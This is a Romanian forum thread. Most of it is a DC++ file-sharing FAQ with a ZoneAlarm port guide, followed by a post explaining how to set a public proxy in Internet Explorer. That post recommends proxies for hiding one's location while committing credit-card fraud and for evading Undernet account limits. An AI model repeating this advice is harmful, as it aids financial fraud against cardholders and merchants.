pe unele hub-uri descrietea e absolut obligatorie!). Daca lasati gol se vor lua automat cele introduse in fereastra Settings. Daca folositi DC++ pentru a intra pe mai multe hub-uri puteti scrie nick-ul in format: [tara][judet][provider]nick, de exemplu: [RO][DJ][RDS]Gigel Apasati Ok. Acum a aparut noul hub in lista. Bifati casuta din stanga pentru a va conecta automat la acest hub la pornirea DC-ului. Pentru prima conectare la hub selectati-l si apasati Connect. Daca apar regulile hub-ului in main chat ati reusit. I: Incerc sa ma conectez, apare "Connecting to blacksharing.no-ip.org:400" dar imi zice "Unknown Adress" R: Incercati sa deschideti o pagina pe Internet. Daca merge inseamna ca nu ati scris bine adresa hub-ului sau ca hub-ul e momentan nefunctional. Daca nu merge nici sa deschideti pagini pe Internet inseamna ca nu aveti net momentan . I: Ma conectez, imi spune "Minimum share is..." si apare disconnected. R: Nu aveti minim share cat se cere pe hub. Daca stiti ca aveti minim cerut inseamna ca DC++ nu a terminat de indexat (hashing). Trebuie sa asteptati pana sunt indexati GB si/sau sa dati in meniul file, click pe refresh file list. Puteti verifica progresul indexarii de la View-Indexing progress. De asemenea verificati daca aveti numarul corect de sloturi de upload. I: Ma conectez, imi spune "You are already in the hub" si apare disconnected. R: Inseamna ca nick-ul dumneavostra exista deja pe hub. Schimbati-l si incercati iar. Aceasta eroare mai apare daca ati inchis fortat DC-ul prin resetarea calculatorului sau din Task Manager. De obicei dupa cateva minute va puteti reconecta. I: M-am conectat, acum ce fac? R: Prima data cititi regulile ca sa le stiti sa nu le incalcati. Acest lucru este foarte important! I: Cum pot sa vad ce fisiere are un anumit user? R: Selectati userul din lista ( in dreapta ) si dati dublu click. Sau dati click dreapta pe el si “Get file list”. Jos va apare un download de la acel user. Cand se termina veti putea vedea ce are el in share. De fapt ati facut download la un fisier care contine informatii despre share-ul acelui user (lista). I: Nu pot sa iau lista! Imi apare No slots available! R: Asta e din cauza ca aveti un DC mai vechi. Variantele de DC mai vechi decat 0.4034 si oDC dau aceasta eroare. Instalati cel putin versiunea 0.4034. (StrongDC, zDC si rmDC sunt de asemenea bune). I: Am luat lista, cum iau ceva de la el? R: Selectati ce doriti si dati dublu click. Automat va apare jos un download de la acel user. I: In loc sa imi apare bara de transfer imi apare "No slots available ". R: Inseamna ca deja acel useri are numarul maxim de sloturi de upload atins, deci sunt 3,4 sau 10 (depinde de conexiune si de setarile facute la inceput) useri care fac download de la el si nu mai aveti loc. Duceti-va la View-Download Queue sau apasati CTRL+D. Selectati fisierul pe care il doreati, dati click dreapta, apoi "Search for alternates" Se va deschide o noua fereastra in care vor fi afisati toti userii care au fisierul respectiv. Uitati-va la coloana Slots : inseamna Numar sloturi libere/Numar sloturi totale. Dati dublu click pe cineva care are sloturi libere. Daca in aceasta fereastra nu apare nimic inseamna ca nu va merge Search-ul. In acest caz schimbati cu modul Pasive. I: Cum caut un anumit fisier pe hub ? R: Cu Search, adica apasand CTRL+S. In casuta Search for introduceti numele fisierului cautat si apasati Search. Daca au existat rezultate il puteti download-a daca user-ul are sloturi libere. Daca nu au existat rezultate inseamna ca din toti userii care sunt momentan pe hub nu-l are nimeni. Verificati totusi daca merge Search - ul cautand ceva uzual ca de exemplu "muzica". Daca nu apare nimic inseamna ca nu merge Search-ul. I: Nu-mi merge Search-ul! R: Incercati la Settings-General sa puneti Passive in loc de Active. Daca tot nu merge inchideti firewall-ul. (Aveti firewall, nu-i asa ?). Evitati sa puneti Pasive daca va merge Search-ul fiindca un user pasiv solicita mai mult hub-ul. I: Cum trimit un mesaj privat unui user? R: Selectati-l din lista de useri, dati click dreapta pe el si "Send private message" I: Am un prieten care vrea ceva de la mine dar nu mai are loc sa intre. R: Selectati-l din lista de useri, dati click dreapta pe el si "Grant extra slot". Va primi imediat un slot pe langa cele deja existente. Daca doriti ca el sa primeasca automat slot de fiecare data cand vrea ceva dati click dreapta pe el si "Add to favorites". Dupa aceea mergeti la View-Favorite users si bifati casuta din dreptul lui. Comenzi folositoare pentru DC++ Aceste comenzi pot fi scrise in main chat. +me mesaj - se inlocuieste +me cu nick-ul si este trimis pe chat +myinfo - informatii despre dumneavoastra +myip - ip-ul dumneavoastra +report nick mesaj - mesajul este trimis operatorilor. Este foarte important sa folositi aceasta comanda in loc sa apelati fiecare operator in parte. Poate acel operator pe care il apelati nu este in acel moment in fata calculatorului sau este ocupat cu altceva dar folosind comanda +report toti operatorii care sunt online vor vedea mesajul dumneavoastra! +regme mesaj - de asemenea /away mesaj - intrarea in modul de away cu mesajul respectiv. Dati comanda /away pentru terminarea modului de away. /refresh - reimprospatarea listei de useri Modalitatea de configurare a firewall-ului ZoneAlarm pt a permite conexiune activa la DC++ CONFIGURARE ZA: Intrati in Zone Alarm la sectiunea "Firewall" De la "Internet Zone Security" apasati butonul "Custom" In fereastra nou deschisa cautati: "Allow incoming/outgoing TCP/UDP ports" (atentie sunt 4 intrari distincte !) Acolo la fiecare din aceste intrari introduceti un port (1411 este default pt dc++) Confirmati cu "Apply" , "Ok" si inchideti firewall-ul. CONFIGURARE DC++: Intrati in setarile DC++. In tabul "General" selectati "Active" ca mod de conectare. Completati casutele cu IP (ip vostru) si port (aici puneti portul care l-ati introdus si in ZA !) Confirmati cu "Ok" Restartati DC !
  19. Cum sa folosesc un proxy? 1. Viziteaza http://www.antiproxy.com si cauta (in partea de jos, dreapta a paginii) un proxy pe un port (de obicei 8080 sau 1080). Vei vedea multe pagini cu proxy-uri. Alege un proxy ce are "latency" intre 0 si 5 (peste 5, proxy-ul este ceva mai lent), apoi faceti click pe "check" (se afla in partea dreapta a fiecarui proxy) pentru a vedea daca proxy-ul merge. Daca zice ca proxy-ul merge, copiati proxy-ul si portul. 2. Deschideti Internet Explorer. La "Tools", deschideti "Internet Options", apoi dati pe tab-ul "Connections". 3. Pentru Dial Up - Daca aveti mai multe posibilitati de conexiune, faceti click pe cea pe care sunteti conectat in acel moment (in partea stanga, la "Dial Up settings"). Apoi faceti click pe "Settings" (in dreapta). Acolo selectati optiunea "Automatically detect settings" (daca nu este deja selectata). Apoi selectati si optiunea "Use a proxy server". 4. Pentru cei ce folosesc o conexiune LAN, faceti click pe "LAN settings". Acolo selectati "Automatically detect settings" (daca nu este deja selectata). Apoi, putin mai jos, selectati "Use proxy server". 5. Acum la "Address" scrieti adresa proxy-ului (sau ip-ul) pe care l-ati gasit la www.antiproxy.com (sau dati "paste"), iar la "Port" scrieti portul pe care este proxy-ul.Acum dati "OK", si inca o data "OK" si gata. Acum aveti alt IP la folosirea Internet Explorer-ului. Toate site-urile pe care intrati va vor lua noul IP, ca fiind IP-ul dvs. De exemplu, daca ati gasit un proxy de Olanda, site-ul respectiv va crede ca sunteti din Olanda . Folosirea proxy-ului este foarte folositoare atunci cand faceti fraude pe intrnet (cu carti de credit), ca sa nu stie nimeni de unde ati facut comanda respectiva sau cand incercati sa va faceti mai multe usere la Cservice (undernet) (de asemenea daca sunteti pe dial-up, dupa cum stiti nu merge sa facet user la undernet, insa cu proxy merge!!!). P.S. Daca proxy-ul nu mai merge, sau merge greu, sau pur si simplu nu mai doriti sa folositi proxy, este de ajuns sa deselectati optiunea "Use proxy server", si apoi sa dati "OK" (este valabil atat pentru cei ce folosesc o conexiune dial-up, cat si pentru cei ce folosesc o conexiune LAN).
  20. super but tutorialu si foarte bine explicat azi am mai invatat si eu ceva
×
×
  • Create New...